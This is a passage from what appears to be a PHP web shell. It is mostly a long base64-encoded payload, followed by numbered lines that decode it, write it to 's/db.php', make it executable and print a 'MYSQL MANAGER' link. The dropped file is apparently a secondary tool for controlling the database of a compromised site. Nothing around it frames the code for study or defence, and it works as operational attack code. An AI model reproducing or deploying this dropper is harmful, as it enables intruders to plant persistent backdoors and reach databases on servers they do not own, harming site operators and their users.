0dLeU9sclppOWdnSG83eDRkSDRuVDd6ZjZ1MkhzbmR2OWo3K1QwUktUenhkQUx6LzBaMXdLd3Q4ZTcyNmU3RWxBWGk2cVVMR0wvOE9EWE4vdUhiOFRCNGFrNCtMQy9YOU5WOXcrM2Q4VE85dWsyQUwzZDNoZXdZY0VHTGx5bjRVMG1DZXlpRjM2T1NRM0hCYWpUd3dLNWQzdTcrenNuNG5UMytQM2VBYlJuUjd6NUE3WVRMaDErTmhMbWR1aEgwK0hRRmJzbmI3ZVBKSndyOXZjT2RoOVNuZnRReG1mVjcya2N6VTBEVlpjdHBtYkxjQnZqdGZSNjlXSXlZaWE2eXMrWGZSaGZuakJURDM1T1JFNzJaQ2NJQXFJeUFEVVhYbnFCbjFsTzMwdk1YSzlMVVlIMXoxellQZnd3Z1FKMzhFMkNoN0Vwb1poQjVteVB4LzRpWGQvM3cvUDBvaTJjQm1oelVMdGFrU0tDcE1INEloSXl3eElPZ3Y3OTZjZFhQUlFTVzdqUDlmQTNZTWJmY3grRXowV2FMdFpCYXdrK2RaMjMxdDdvcUhIdE9pczJYa1NSQnVuTTc3My9BNFQxMWdZbklEZEpiMkJVa0h1eThqaEpFSHdVVFc3cTZlVHpGREMzUld0emNTMjI0OENiMVUrOWkyanVkV2FneTYxZitNSDVCUlkvWDF4M29QRU5razljcDFnRk44anpPRnFHay9iUDArbTBNNHBpNEJyVUJzQWttZ1VUOGZQejU4ODdDMWhmSUI3YlVMOGpDV3h1U3Z3ZWFHOFdlaGk5WlJ6NHNUandyMENaZkIrRlViSUFCZnhyU0NINlVTbytNK2o2T0pwRmNmdm5VUlAvemVCN01zRi9PeEpnU3Y5MFZuUTUxMzVQZk9acTR1ZG1jOXBCZnE5UC9IRVUwNHh0QTNvL1JzWVNiUHNpK3VUSHVzSzAyU3hVUUJuTGZKbWxMUUdqSlJ1ZlJvdTIxVlhEZ2ZWUmxLYlIzQzZjVENaWmRyWHdYODJhWndEWmFzS1BaL3kvSXJmNXZjajlIZis5bTl3MEdpK1Q3MFVQL3ZHOHUrbmhvdnRPNVB5LzQ3K3J5ZUc4V2IvaVdUS0taaE9idm9DNUhINjJJY0lvbm5zemhBRTdadjU1N3NYblFkaHVhdlJOTExyWUxDdFFNL0VwRUxYWExtVVFqU1Q0MDIrM01DbW45ck0zejE4K2Y0Y29sN01HeWVOWllGQkxvS2RQbnhieDJkOVkvWE4rNHBKMm9GQzhlUEdpTXdVTklHM1AvR25hQWZzUHJPaWI5bWdXalM4N1Y4RUVSR25yR1RDdHc3VFhZMEtPYkVUa1d4c2t3a2lXamVOZ2tkckM3SCs4VHg3bm9reFQ5cWg0ZStHUEw3ZG5zeXF5VWRtRlZiQmRSZEJ0ZG9JdHpHN0Fqb2s3UU5LWWtUanZCR3RyQklwZ3FCZG5nTTZDZ2R6Ly9BYnB6V2d3amk4dXZSbG94U0RsRzJNa0NSdWZyTWRGS3BjM0FLdUJsV293SVdLeG55N2pVRXhnQlNDZEJ0alp1MHp5emMzZUJLRjRlOVkxenlPUFBxcndDM1dsU3RWVldXNnR3UjhOTWtTN2tPamtBWkxsQ0kxcmlSVjRTOHhENW02b3JRaDNCa0U4N3pwNk5wQTJ2QTdERmkzVDlqUzRoajZKSzFnazZ5T1EySmR0K3JrT1BlYWRpSlZFSE5tdTAybzIvK1lJWGxCZHB3bDdtVCtieVhtcjB5alZaWm9ReE96SDZEb28rRGhyMHR2QzlhSmF4aE9LcGtySDZaMTRVeCsyaDRuZjNucTF1RmdJMm9TQmwrUHBlZFZOb0hBNGgwSlFOMS8xb00rQUJsSENoaHY3MDY1akpsRmJjOWVkUmVmUVZWUlFlL3YwdWJYaDljU1hhb0VLNDAzbVFVajFWSTBOYlB0R0d1TVA1QXhyQUE5Z1V1dFprVXRiaUMrbEFjTWVTMWZKSEFkUitVcElmK24yck9ISFlaOTdsLzVGZ0w0eGxkdmhxdE1vU3FYdHkzb2VsNHUvL2hMcUU4MWcwMFdjdjQra1FZSUdzZnBFYXo4YWV6Tk1vR253U05vcUVvWStwUzMzU0Zvb3NvZytvZWpKaytaemx6eFFJMndaWm0yeGFjUnJIOW8vOFVOSEJKTXVPaEZDVUgwZFFVcWNTZklhY0ZxTzJPaTVzbGZLRHVTRzFtajlTQkpnK0RrMmpiNGswaWNxZlllcjlDVVpLODEwK2s1RjUyejArcUZEUzk2bWlOMldkdGE5U1dJZG02Uk1XeVJsVGpsSnRBc2ZTaExyMkNSbDJpSXBjMWFRUkhQem9TU2hUb1lrcDIyU25GTk9rc3pwQjVMRU9qWkptYlpJeXB3eWtsTHhmaGhOV2NrUU5SbWFxc25TWkhIZS92QkZWMVRlRThYcmwxMUhtSjVYbFlNQjVHSUV2MUt3NzZuWXJkM2xaVkJPQnVWalVDNEc3V0c0di9kcWl1NjExOU5vZ2VZU1duMTE5OHBWTmlXVTF2S3VBOWZ5Y2JsZjVlUDZmL0FjcmZBVjFRWDJTRHVNcHV3cmtubGtaUzdqR1hxVXJUTUZlZEpRZDkwNjhZZGtkZFhkZ2Zhak1Tb3V2RVFrU3pCQWswVHcrSXMwRW5vN2t0WXI0RzI0RHJBdGh0MnY2d3hITXk4RTh4QktFU2V5eDJQdTVKMVlaZzRBMFRlTW4yMTV0MmE3dEdtNGdoQm1CUXR0L2dSY1BJQ1gvZzEwQ3Qyek1LdmxWMHF1VlJvQjdaN1gxY2c5cjd6elVNZTQ1bFZDNFd3d3FnYW1rWTJTZ01wMmNwNGJySTZaTkRXNUJYVzNrK21HUkl6ZFlHUzFiMXdEOCtySHFyTjNjTEo3Zk1xZUlwNDNwREFxY2pYeHorMzlEN3NuM0VQTWNQQWd4TjFqbm9iK2xZaFJrWjZJYUtvRzNCVnRrWm5udFd4SGxndVk1bjUyUENpRk0rZjVVMmJqdHd4SW50a0kwSEM2OTJlNUdsSEY1TXJWaFI4cjcvUHpwME8wSFVBblVRM3VmUHN3ZkRqYVFkZWdOUUludTZkNld2N3J0OTFqS09SVzdPKzkzenNWTFI2SFkyWStzUlRrN1pkWWI0VHl4SmZDMkdiNkY3dFpnV3ArNmcrUjg3Q0Y3T3p1NzBLcjN4MGZ2cmViYmpmWCtRN011UThaNHNZT3RnNVZ2M3ZQU2NrWGc1UlVPOE9sT0ZxNDM3ck9rRUxXbjJub09UVzE1ZTBBS2Q1QTdHYWJ2VXFlZjdodVR2eXRHRzZvSnB1U3FGMnU2cUordmVOUFBkZ3pZSzdqcVJsay9Qcm1kendlcG1NNVNMN0IzM1Y1OUFmcEQ2ZnYxbDlpaGp3VGc2eDllVHJXS2RQanlaZUhVT1RiRSsrOTBEdjM0eFhhZk4yMlFYNzZFYmZKTVZpVFBsZ0xpNTdLMm5ramZrTk52ZTBxSEtTNTVBMEhIaGxFR2Z5Skdadk51a3ZLQ254ckhWb1N5U0QvZ0NyK0Y1SGpjSzlFenVweUdmSWptQjFmUm81emFDVnlWb3l6eUZmaWtoYUZhekNnVTFsbW9hNkhPV3hYUXdiWnJaZ3pTbDFOWW1NQnRwOGNocUs5OWVwQnZnMS9FcVM4R0tzODVIVXBYT3BDejJwMTJtU1piU2lkakc0SWZab0dNYXlSdlVSRXNRaVNzTyttWXBKZDdLK2dBNElkRlBLTW9PcHl5U3lBYVZGcjBLbzJ6Z2FvMlNrQ2NlTWtGQ2RLb0hUVEphQk9sOEJtZlJpYU1XRGhzOGlvV2tkc2VMS2trcm9yZ0JCV3NUeGxnMjZNTE1LY0tBS3RJQW9nclB6cEJ0ZUpLL1VGckZIZEFqTXdwaEU0RGdUS0d3VlJreXA1aHJIMGJUWlJqVGRiQTdObEJmelU0MldCZklIRkZ1UnFKOUdYWEEzMk9HWEZFM1hEdlkvSU11VThXM0tadXRsU0pFZ0RyTVNMc2JxWjFzRGVUNGhhUkFxbnVGWWZSN3BkdHc5cmplVDhneHV6aWkwbUgyY0RXUlRuL3FvQnlUVzBNZ2FGMEdmRFMyOTB0R3Npa25DSjdwZ25UWldHUkJDbU1LT3FtZ2FlZ0p0cFN0RldITk1Ec0Z3aTFrV3JKbjRSQ21QMmVEQmJ3NmJVTXVzZzY4bEJKU1ByYWNua2tMeTNjcVJJcjMyZnNBM1NGejZSVTR0VkJ3eVdBZ3lRTmFTelRiUFRVQ2lGQUd0TTFXbTRJbDZHSVdwSFFZZ0YzQXJJQmpXY2t0aVdodnZhS3NMdGhOV1lpK0Q4Z2dtYlJ2U0UrN1RSY2xWc0ZRL3B4NlVmMzFpaEkzanUvV2I3WlBlRVQ1SW5vOXhJUThiWkFIV2o5WFZ4d2tmTG5wZ29VM1I5WFZ2VHlMWnlRNXBJYWg5SmNnWS96clExNnc0UWV5NkxCeGRuS0o5bUYvUWY2Y05JOGcxcXd4b3hPLy9aQUpMUmd0WU83ZllKckNDcUFyWXNaZEJndWxFSW94bWVVeTJ6ZDZRWFFkTGcyc2taSlZUZHZYRGlYdzlZZU5hUW9uK0ZCeU5RdlZVelNpV3h3M0NTYlFRakxMTGF6TnRsSE9OeC9RUzZRUjBSWmU1bDA3aStTOU9BaExqYkp5ZXpsYUZ0KzZ3Q3J1aUt2NFNpZDRwbDVjVDBoa2Eweko1aHlGbDU1T0UrZXlpZXV1aTdiRzR5VHJaOENkZGZYNE1MN0xubEdIWlZuOUhoaFBwNlpHaWZTRHp3UlhnR1NxSkxWYzd5bi9EY0dFNUdlcEI1dllFRUFMSEdOaDNaRnhWWTVXb1JOdFVRSVFaZUp1ejhNaUJTMEZXODJTeTZRbzNQcnBZeHJSN2xzZWdrbXBNbllPZTlQUVZKbTdQMHlFUzNHMm1xZFhJNFRLTGhTRXZabHRCMUxjUUpwOTNnbHVFYXVVaDVQeU5YRmNid29aOXE3cWNYMGFUcllEaW5vNWNGckpEczhjaG1zL21nSXlSNU9DTEdFV1lEeVUybmQ3d01CUXBmNnNvRy9neGdmd01WVG9zMWF5bTFyVU1iZWRDeWhVbzV4aWZJZ3diTkZrZWZWVUdobzg2bitGenplYk5wamt2cGpCUFAvS2ZBbzdhM1RDTmFVQmpOa1N6OGNlRE5hSHV4NWtWOTkrQjArSThQaDZlN0orVGFWRTNvY2ZQd0NKbXA2WE5nT25RR0JyQW5XalpzbE9wbTJVMVJSeWFzN2puUzlsQXBlWDd5RCs3aVJxOTRqR1hXUW9rV1VyZG0yNFBWR2xwb21DaVRaM2dnVlRXTGhkemZlZ2tZOTZGeE9XajU0QmFjekx3YnZqM2MvL0QrNEtTd1NEaktLcnJLeVhTNThkM0xoY3pWYVMvRlQ3TWllSDZ2bXROUGluTmFMdzV6T0lyS3BGMHc2YjBML05tRVJzck94UmlpUXViQmNqWXJaUDd1M3hUeXBIdWprTDk3bmNaZU5oZG5oMUlwMGEwb3FwSjk2RlBVWVdPNHE0NHdiR3gwWGkxMkNvVXlBYUI4aU1KNUJBb1FMaHF3aW5FM0pxZ0RPa0p4S1c2azczWU0zREl0QWJNd0luQ21FMUNHTG51WEdJZlJyb1Z1S2doazRwMEF5RkFFZUJ5T2trVm5KUml3K0I1UXlxZjBaVWdhaGxWd2VrQmcxcVVqcmVSYk1kcG1tZkNXN05KNXI4bEZXZTZ1T0p6SnJCdDdNNjFaaHkxZnYwd3FjVktpUytYYnE5V3FpODJlNVVOSDFVeXExTlllTDkyQmoyUHY0ekxxbUxNaVkzMUlUQi9Zb3k2OW52ZkdjdzkvYjBiNnJOaWVWN2luTzRvbmR3WnAybHV1Mmw4WFlEZzRKUnR3N3k2VDhrdm11U1hzczBQLzlmTHRMcmxCd3grRElXRXYySUUrbnFBckdzVzl0RmdoYTJ5cW1xNDhxUGkza2s1Ym96SUJOWUw4R0tNYXlpUlRWbFhKYUNhODIrdURuck1DNmtGT2UzbG1heS9QeTdVWFptQ0pjbUtMbmkrc1hKdTl5SFdjbUhuMXJhalJaTlVWdTNOYWVkbVR5WTFDbXpMci9mdlI1NE00VGYrRFRCYm9GM3hjZFdISkNHVnFLRFhMYUVMV3hDVjlCNFhCYTMzWnJRTUwwYWhDOXVtZUJNYmxCSm82R01IR1lLQ3hNY2xGMVVIMWU5UWp4ZS9uendoL0t6RFd1YmkyaWpxcVE3TVQ5RUlTVnNsVkFCS3ErdEY0QTM3NkVVaU1VZGx1dHJXczNjV1RGaUJ4eDFrK3haZDFaTlZXbTFzTmVsMGFvYmtSVjJFVThHS2RiRkd6M25vQyt3cnBmdXdyK0lVaTR1VStWbUtqRUJPMFBTVFZGQSt3YTJFTEpVTllMVW4xb3czSS9oOFF2SUgwVU5GM2xlc2EwMGgrNVhYaTIweWtocmtXZ3ZSby84cEdDTENrZC9xeFV4ZE9QNlNmcVZPcnE3TW92T3VvZmtCdUdnZno2b3BCcThtYmtJYlFJdmJQTlNWbm83L1IvK1hzdjZyOVgvb2J0Y0V2K0dzalFJSUNmdWhxSkttdzN0eWpuV2cyZzVySTZINnk5dCtmWVJSdXEyZjlxOEZhalJPUWkwaDA5WHFGNnZsSjRVaE9GWnkxQmh4RmY1dmRPQ3Q2aHNQV3Bkbi9iVnZQU3RXYTVvYWVNeHg1QW90NW0zWkhvMjVWcGloRzJUMzYyc3daeWszcy9SbERVU3NZaDFvSnRuUWxTS3l0VVR5YVpJRzZpSUhsUTc2ZXhTaUEvd0V6RE9SUEhoRHpDb0RBMWp3Y1gxcklnT0hDQjVrWFJsZXh0K2hSTTJDYjRhRExYb1VSUTdXYWpKK2tqanNaYVNWbG16U1A1bUhoT2ttU1JHT2o5LzNibUFKYWFaTkJDNVZScXhBZUFiMlJjUkVnUEdHWEFkbXblueGxVMGpydnZ6dE1Rc0xuSWlYRTlzR09VRW9JdEtDQlFZOW1RTmhQTUJ6UGZDODBLREpLdjZ5YlUwSDlrRlZReWw0OW54V2RNcGVaZGVUWUo0T0FYV1hBVEVLcVhHZGwvc0pkZ0w3blueaZkJQUEZuOTBlODQ4OFFyMjN1QU5jS2RzOHlKSWMvbDJTTm9Mem95T3d4bTIzY0tJeEwzNXRPeVFuTWU0QWlBOXVUS2hCWUFKc1lxMnhlTEJXMXdnNTJhLytYMjgwdGx3UkhOWnljYnA5K2tENTY0c0NRNVl0TUVFbDBvM3VwTjhTVGJuVmNVdWFKbHN0U1JlbDl5V052b2JRU2E1STB1KzJISERrdnI5Rm1tbVNsVEoxalNGckFPU1M0MndHTmNiUU1kY0JkRmlMTGg3VTFxNnRzT2xKQ0xnTzdCeFplblczTkRoMmwrT1hkbzNuSDd2RUFKK2VEdldGM09IMjBrL1J2WU9ITmduTWd6cUVHV21tVmtkRjBKVUhycGxHb1ZGaTZwRENLcmxGMmptZkIrTExyNkFzVUpFR3BJVnFMelRpUmNKZklaK0l3RjcxSVppQUxaVzloYmFRK1hmNHZsTEVLblNzakVTWVB2NHdWTWVudGh1ZWdWeFR4UjdPWmw5MnRiMWM2ck5UYXNjUGdUQ1R0djVONW1CdHRheDcwTXRIeVpueDVJdkRTR3VpWm9NVHJtWHRBTng2eDdTVmpmYy9ERklNbGUySms4aDkyYW1Uait4NG5SM2w4dWRPakU1WDhOcXhseDBobExyeU1aQ3gzTHBaSndqc2hyZVgwQlVocmNXVWhWeTB3VTVXWDJwZGFvaFplRnU2MjZKek1MQ05saFdld3JuQ0Rua2FwTjVOaDRtM3RwY1A5NFk2VzBjWlVYcTczaDJLeDhRZTREYzBkOFVvOGhXMS9rNXdHZDdwZ1NjRldYZXc3RG5mUzZXZDlEVmhnSTM4SnlKOUxNRXVhOXgwVDhtOWRJV2oxSFhYOVFLMTZ1azBnVGdBYVJScmQwYzc0TXZvT3BjekZCQXdVdDFBNkRSbVozaWgvSDhJeDcwTVk0dWdMZ2hUeUVWTFBtOXlJSE4xUmFpcXdHOFc2a2hGZGhiRm5YM2JadmFiYlFXelFZK2dWaldRLzYxeHh5bUpjNnBuN0VvV0lGeHdYNldxaDZ0UFlzaSsxcm1ZcGpxOExzZk0vL0NDaitFcXVlb0VhR0UxdStJWWRYL3EyNDZoMDhCb29vd21IZ3RIZE5YZHJFbnhTM3JpUzY3dnl3blB1WnFvNkJteXBxNmQ4MzVOdVo5Sm0wZWE5b25ndDFTSHpnZSt1UTBNNnVoa2IwQTVsV3Bpb3QzRVVYUVkraGJUWEJic0E0ZmNzbUpJS2l1NE9rSm5CTlRwWXFFL25zMmdFeTdSQ0dnNjZRZFNUQm5YOU1rdUhJLzA1Um9ocnY1SVZ6bHltQjluMG1JdnIxdlF0QUVtVGY3K1N2OXU1aXBqSmlpZnNzL0tTbWZVaURQMGVIaDBlbjZJVzJoVlBuejZ4d21kQTJwZDNWM2RpamFqVzg2MzFVRkxuY3lmUjNBTWxEL05sV3dweGpPeENrbTRqUDVhZW8vRXlMdmlRK1BFU3kvMUVSaXZHWDZHZDBOUFZHVkFGVVpHSkVFMm45RFNQZUtiaXE4aVhPUGFER2RmZU1MV3RtQzVDaXNDTWt0NlpZQzlhSmNYM0hMZ3c5OXdEQTZrZWlIVWhxWnRhcW1oTlZMSWdHQ2tteVJPYUxUbWhDdlZhV0FkQk90bG1RYzBxQXN2U0dtQmdFbzhmaTlLQ3hNWnZZaW5Wa1JuVktXV0MzVC9tSjFvK1VaRTFYOXNrUlllUlN5cllkVnRPWmFaRHRjaHphSHVMenN3Wmkrd0podnAvUmJBTS9teWhrdk11aUJQV3cxeTVQZzFwSlBqMTZOMkczWWtXYkxOSTd5ajJQOW5rdEZzTitVT3pRTUQzVnBjR1FGVFUxVzZMT2VpaUNYQ3hhK3dnUElLR3l4aS91ckdJQWh0NHhwOERibVFuUHpRTmUyelVLSDhuTHExcExoMkEzS2VnTUQwbWVHUE1vaWErdnArRWc4bnNlNGxOSnU4U3R4TFl3VVh2Q0t1U3JxWkxaRkFqSVdCbXlZdnhCaVFuSldjUjZKK1lYNldSZlhYWFd5ZXNkc2gzUlhETC9LY2ZUN3pRNjd6WmZ2djdyOGVISHc1MjJ1TG5kL1JQUjc5NThoSjJ6dkozUmZCcGtlekxCSm5EVnJMenRTT0FicTluYnE0WG1nSHpHVFFpdkU3ZkZzcTlhbHZ1QzFtcURIYVRKZ1hMMmVSYjgyVTNwQmtCNlVIYTNpUFdGV3JrNG43Mk5SQWZQMm1sUlQxb3M3SGhoeE43R0RMNmpIL3RqNWNwM29tYytqcDZ3R3hRd2hTQU5GUzE5TE9GV050bFQ5UnIvQ2JvT3FKUVIraUE2bitnVTFVNkIxRUZXa1lYRUNZWC9tdzJ0TkJLSEs5TkFiZm9iaXczU2VyUFZjTXlMMCsrNWpLTlJPRUhJSG82a2QvdlljOGhaZ0x2cEMvM2JwSTQxT2xGdkN3bnFrcS9sZXpySUJsQ3pXZ1pqL0dhS21KWThFMWQ1THNUTzdWYVlSRFpuL2pvOWRTUGNITzJBQnA0MFRmR1FQZkt0TjVxYnFvenpkY0xkUS9XYU5acW1jZXNORmd6Q1BDajQzMFJLK1VsdmFDSFBYbGVPVlNNZWlicDdCSU4zeXhHU1U2LzIxaXVyNlZwekdOc0w5OHRReW5CZm55OG5kdFY5NU81RkM4b005ZW5zRXdTaEtpL3pnVjJFQUxpYnZhUzcyMmU2TVFmTGM4NUd0eFdpUFZicFBkK3ZUUkZnMWNDZ3A0Mjh1TWhMbEF2QmFXaTdERlQzUG8xbFZvZGpFbXQzQi9GRVY2SjgzV0FpMElOMjJBQ0hRd24xYVRtbXFmdFRHZnVkWFd2aTFlWjFTdFYrTTB4ODExKzNrRmZqZ0hsT2J3MFowVXlOcitxdzkzYkZKZUpOWXV4K1RVNyt1Y3R5Tmd3b2tmUUVBTmVqK1o0ZTQ3Rk43NTQ4MkFmamp1UjUvY25yR3REQXFiMmloaGZzblRDeXd4dGZVMWJSWXZUZlcwNnlTNmpteU85NHRxQWl1VlhyQXBDNmFxM1RyNzFhd1Q2R0JndklhcmJoK3JXb1Z5L0ZISjBTaStId2ZZRWRCSVdFaUdiMUYxenZ5RUx3a2QyeWNyeThTekExOGxHUWVqRk54MUhNYWl3eWpHM1pEcXBoMVVmVitpM2RmZGVIVTF3dnYzQ3E1Q1o3S2ZseThyeWVCK3p6eXFYQS92SjFrODFXNDBYRWp2d0VkOFp0dEZMckhUeUhpejBtUjFEWkZVVHlpdnBqbjFRSnlVd28xYXY4NVhGS1NuQVRnYk9QdjZYUi80Yys0TTh2a2NWZ2VmMURydWwrT2M5Sy9iVGZNVTdrQ2lHeUt5Q3dFVkhseTMwUnVkalcyWkRjbTN0YjV2ZGJwT3VIT09UUDZRSjRpdGtaZElIMXNrUmlQZHFoUlZXZWt4Q1ZNTG9pcDVOMERFdE1vUENRQm95OUVQbkNhdXkxTTVOMllxbm5qV0p6bXJvalkweWFJcFdrU0VxTXJzdTFzR1N4VmVrTm9wdGs1LzRrblIyeXNtQ2NxWjhXREJiYkU3UVJrZ25nWHBUS1hhRnpoVGwrUmpEYXg4dyt4RTJDWmM4TFdPSU15eGFidzNxbWZTbWVpYTFzbHpJemdSem02NUVMM3Rtb0ZZeGtRSHNTY1k1NVJ6QTU1NHFuN3pZT0VkMDBJajlnTFVHVWIxVVVGM1J0Ri9sY2c4aU54c3Rhd0JiR2NBLy9DUjdpOXpTYTZDQ3BSQmtHd3pmb0RFc3d3UFZZTFVvcGg0aWVnU0U4aXFoQnFmRmdvUnhyY2lXTWdXTEJzWmVxWWdtME5qSnZ3ZHBzTGRHY2M4MUdtT0Z0aXJMZy9SSXFaSzhONUZEbEZIWjdXeDJMSkZheldpUnFKUGJvSzB5L214bXBuZXpJRGsrbXRaTG1HSjdDcFhJZ1h1RGFwMDg1STU5WDI1aFZGQ29ZQjBQMDhtdzNHNHBnZTZMNW9zbkw1NjJYbTdLTngza29USTVaQ1hRaGdVa2ZvRUV6Q1BNYTRvR1dObS9qdXhwWk9GOSt2TFppK2QzSWlXSUlzYjNxekIrb1kxbHJmdDlsSHUvVngzNzAyK0VlSE9UeXZsdEpqWVdLa2FTUTE4Yy9YYjBuOEZDUHFCWHdkTk1EcUZSWE9aeVVLS0N1UGFERk5LdkN3YlArWi9qYUw2STZhVUdBa08vQmxUaEpUeSttdWhRY0tNZElNYWFvUGR2OE9veGhTd0VNU3BjMENYMTRDeVdkT2tzVmF6M3hLOSsrZzR5OXlHVDYzYzJOdGJXMThUNitzK1BmMjYxbWkwNytFY2pKbDJqMjBOTlEyZWVEYnBLdEgrcXEvZGdFZU5heTRyeHF6N3k1NHRVdGZYeDQrcWpYUE1oSy9NNk0yWFdRTStDRDlsQzdvL0tZcllvWnNqcHF4cFY2elZybjFmMVFEK3ZiZFFzZXByWkZGQnMxcFFmTXdTRFNKZ2lrTXV4bTFNYzJOaERvRW1kRHBod2J0allPdW9KSklLNWMvd0tiNUpuM2dKWG8rZE5KdStveGJJUmRaR0J1eldSM09zOW1JZ1VHaUtyVWs4UnFNREcyNnlva3R4ZUtab0tNd2lmZzBxOU5CaURabWk2cUlmUHVwbUVHeDd5TlZ1bUxrelFFUjBzWFI4UGN4RGdvcVlsRXBZOTZvSTZRd2FMU2pWY0hyQXVJaE80dHphNHNDTWZ2ZU5Xb0kwdW1aSnBQSm5qRlE4bWNtV3F1VWZqcGVnWEZIblAzbXhvdmVPNUtkaU1ndjZ4NDQ2b2RBenJBaHRSWG9xdldtdUlybkQ2MTgrYS9ldW5vLzUxOHhuOC94eitiOXIvTzZwaU5Kc01wVnRieU5nbmE0U1dZWEM5dVJNbHAyZzhWekFsemVhbWRQRkRTbW43ZGprQnZFSnhnNmZqb0xxMjliZUdNdGZTRkpJejl3WSszQUVlVWZ6OVpaNkVMcVdHSWtBbld6ekhRM0xKbmxhK2JPTGQ2S3E1c2d2WWJoTXFWTEZmVnIwZ1hLTGtIcFNVc1gxdnltN0Z4b1pBajE0d05WcElXZmZXWmZlMnRzVG1zNXI0SzhzRDdnYVd0WXBsM0Ewb2JNR205OWRQUDFiTE9vTEZKWFYxVjZDOFNOYjBwdGNUcmVJT3J3VUdUbE5VZjltTXo4NEhLWHRXYXY5S0NrMWt0UW1vVS81MVZTNnA3R3lqT2NKMzlQMXJxdkFEL3RHV2F4YzJWRVp3OW54Z3ZsOE1mdnF4a1N0L2FwVS9LeW5mdE1xZmxKUTNyZklXUFVXT3J6UzR1a0c0MGdoY1p3QUdweU9EbWVNZnNndnhDZnovMUpGRkRTcHJQVldMMGVTWkJXcmx2Y3psYVlwOFdSb0dhY2d4eW5yN2hGSGlUU2JHUHo0RFA1OXNXcmwveWtmOWpLNWdWOG5oK3JOUVRXN1hhdGYraytkRXM1NnJBalA5YWEwT3RnODNITjJhQzI5OFdYWC9pYk1CMnJTaUFPbVhGOG1PRmdvL3VZYTIzakVMRUUwcnQ2TGViWkZKYXZIL1JUdXRUVmRLZUk2MG5NWmtPZnBYUTMyUUxIdWc3VDI2QWt4TFE5YXNxZmRGSnJFL3pzbjVGdnkvU1ZPRVN3dXp5YzYySnQ0OW9LM3BwN1B0R1doeVM5aFdXcVk1VjFacUQzS3V2RERPWWhWVTgvK2hCRnY3WkhObGtSNTNhNVBOS0dGV1BrNUlQUld5akZZVFZkVlMrenhQSTRJckduQ2tvK2s0Wk43NEN2UEttcFBjQjhETUNrUXBxQ0pzK3hMNFQ3NElYYlZod0RNNlNjTWVRRkJ1OGNTamdMZDJiN0FmREpmVmRKQXRzSkRZcFNTUHNDZ3p5MHRjQ3RuM1NPa1h2VVhhVmZvSUJiY3U2Y1pCK2Q5WWtUSFUvUHlzQlk5cktmUFhWbVFrZVZWQ1RqRUNnQzZYZEZ2Nk5reGlSYlRMUDVKaTNYUjE3R3ZDQkY4ZWw4Nm9hdGJMdG9aWXZsdll6THA2c3RmNmd5TzZjVTExelROVEJXWVlrem1qeTVBRGxjS3JsUU5IdmZva1RUZ3VjdVFWYlVmOUVhRWN4cDNkZDlzZjlrK0ZLK0VsK01CMXJDdG5YQ1N2anFNMzBQa0QzK1FwdzZmK2drMUpkWGtGbk9xWFY1YVFCRGd3Y3djOUpaSzdNdnpLSHJIZmQvOVlQVjRjcWxVeVdvaEVjdVNTVG9Fd2g2NjlEL2tQcWlqTitWSzlvKzhjSGUrOTN6Nyt3eUdqaHFBUG9uQUlDdFhIcGM4UldVMGJvZlBoWU84ZkgzYi80cVRtaDIxU0IvaFd6eGtEcVBISjVHV01rTnQ4S1FzbmFzbmJhTGFjaDZicGttdlVTOXJPK0J4MFJwYlVwWG9taWlvbE5icWRLWjlYQmZTMU8yWXIxc0hhU1ZkSkw0V2w3dFFkOHl5N1pGdlhZbHZwaUFzaGkzRVlSVldqcjJXWGh1Mlo1dFkzNjgvcDZxVGtzbU56UGd2NW9yWnFMU0ZKMmRBOFpmV1VaclpPSC9iTGZzaWNzQitFbmw3RlFVcUhxblZUSTNzUmxuMmF1bEQvbVRoNUUyWEZMWHRIZWI2MW5DcTVzZ2NZN3ZlU0FRS1dDTmppUzhEeTdkK3F3NW9RVVNMWGpSOTMxMXNsY2xUU1hsdkx3RzZabHQ5SEtqYTZlSmp6SlpFbzBjZ24wdkJtZUlabXVaalRFc2xnemdLNGpyclZtNHk5aGErUDNFcnd5d3R4dDJXVHF0YjVmcE5ETG1FMXZDdFE0bkZiQ1RKSFA4eWUxVm1XVUFzZk56YWU2aVh1M1J3bGdBVUZMV2VoSzBpM2ZCbzNIT3ZaZHcyWWp1alZRQk9IZi8rL0hQRjB4WFdsMnd4NmpteituTGwxN2hZYnJPT3EyWHptT05pdTY5Ymt0WEdPSnFMWDdpdnkrZno4VS9neXVydVNmMitmUGlpVzJ5bW55eSt6VnJ6NDNFanVHaC9YbnAveEs2OGtzKzFrRHhUZlY4S1JRZWhVaE4rRHZ1UGdoWGFaRHd5RWpJNUM1Y3U5Vk9GUzZWZTVkRnY5QVF2S3BXZGdCN1IvMldrdytURkF4TlhZK1NrN2cxMmxYMlhUZER5REx6d29NbHpLYjh1YTJpcjlLcGR1NHhNTHdDOGRhMFdsNnIyNmdYWFBuMHFJNkNBWG5FOGxsQmhZNDRhWnRFT3FQMnVReWRIRGlabVVHSmc1d0tSUW40SThNeGo4U1Z3ZFVDaS9mRHZBZnFIQitiZHJwbE1hNDJNOVhWaWNxV1lnOU1PRDh2RVNsY2Jwb3I3cFZsWU91dUU2S3BMMElaTkp6YUhTbVpCNWo5RG1zOWhTZjFJd2QwdWt5TTh5cnV0TzlaeWl2NS83eFM4MERvcFJIVmFoZGVrNjk0ZDdlYUdyWngwSFhWSXo5Y3ptK21ha29ReXZvMGh3aVd4cmc4RktKbHc1Z3ZKNjZqKzZSOElrVEtkTEdhN2VUYk9sc0g0Y05qZHorSS9zRUJhT0w3WEZqTTZCbWJQUWYyMkhpdVM5VWd0WTUrRFJuaitiR3FGRWZ5ekNua2dxQTZTbi9Fc1NhbUZRU2twUVd3Q3lmbXlJeVRTMEN6dldjdVU5RzRxVHZkOHFsZkd6TXBkVG1DK2piR1UrcC9SYWxlM0w4MSt1QkR0Z1N5MHZMWEZMSG9VcVc5OG96MHRXdDJRRDN1S3kyU0RUZU9taWFaZ1YwMjAvQXlYVFhiSDU3SnQzaXFKY3p6MEcxS2ZYZ082OWtMRUhXczdDTitaaGUxVWVmbXYyczN6c1dZSTE4eXpRb214M1YzZXhNSlpOdjhqUExOVi9Qa0RseTFmV3pTdVJoVWQ1MkVDRXdlV1FkZGxMbmU2dmVPWHdoSlBtU2NQY0M0VGxUVFk2MHlySUJYVEtzMjkxTFdLZndpNFdvQVduUXlxMTdscXBVa0x5dnk1QjhBdz0iKSkpOyA/Pg==";
  2250. $write = fwrite($f2, base64_decode($sml_db));
  2251. if ($write) {
  2252. @chmod('s/db.php', 0755);
  2253. }
  2254. echo "</br></br><center><b>GO TO : <a href='s/db.php' target='_blank'>[+] MYSQL MANAGER [+]</a></center></br>";
  2255. }
  2256. }
  2257. ?>
  2258. <?php
